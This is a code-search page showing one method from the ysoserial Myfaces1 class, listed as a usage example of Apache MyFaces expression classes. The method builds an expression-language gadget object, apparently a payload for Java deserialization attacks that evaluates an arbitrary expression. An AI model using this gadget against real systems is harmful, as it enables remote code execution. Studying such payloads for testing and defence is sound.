Search in sources :

Example 1 with ValueExpressionMethodExpression

use of org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression in project ysoserial by frohoff.

the class Myfaces1 method makeExpressionPayload.

public static Object makeExpressionPayload(String expr) throws IllegalArgumentException, IllegalAccessException, Exception {
    FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
    ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
    Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
    ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
    ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
    ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
    ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
    ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
    return Gadgets.makeMap(e2, e);
}
Also used : FacesELContext(org.apache.myfaces.el.unified.FacesELContext) FacesELContext(org.apache.myfaces.el.unified.FacesELContext) ELContext(javax.el.ELContext) CompositeELResolver(org.apache.myfaces.el.CompositeELResolver) FacesContextImpl(org.apache.myfaces.context.servlet.FacesContextImpl) ExpressionFactory(javax.el.ExpressionFactory) ValueExpressionMethodExpression(org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression) FacesContextImplBase(org.apache.myfaces.context.servlet.FacesContextImplBase) ValueExpression(javax.el.ValueExpression)

Aggregations

ELContext (javax.el.ELContext)1 ExpressionFactory (javax.el.ExpressionFactory)1 ValueExpression (javax.el.ValueExpression)1 FacesContextImpl (org.apache.myfaces.context.servlet.FacesContextImpl)1 FacesContextImplBase (org.apache.myfaces.context.servlet.FacesContextImplBase)1 CompositeELResolver (org.apache.myfaces.el.CompositeELResolver)1 FacesELContext (org.apache.myfaces.el.unified.FacesELContext)1 ValueExpressionMethodExpression (org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression)1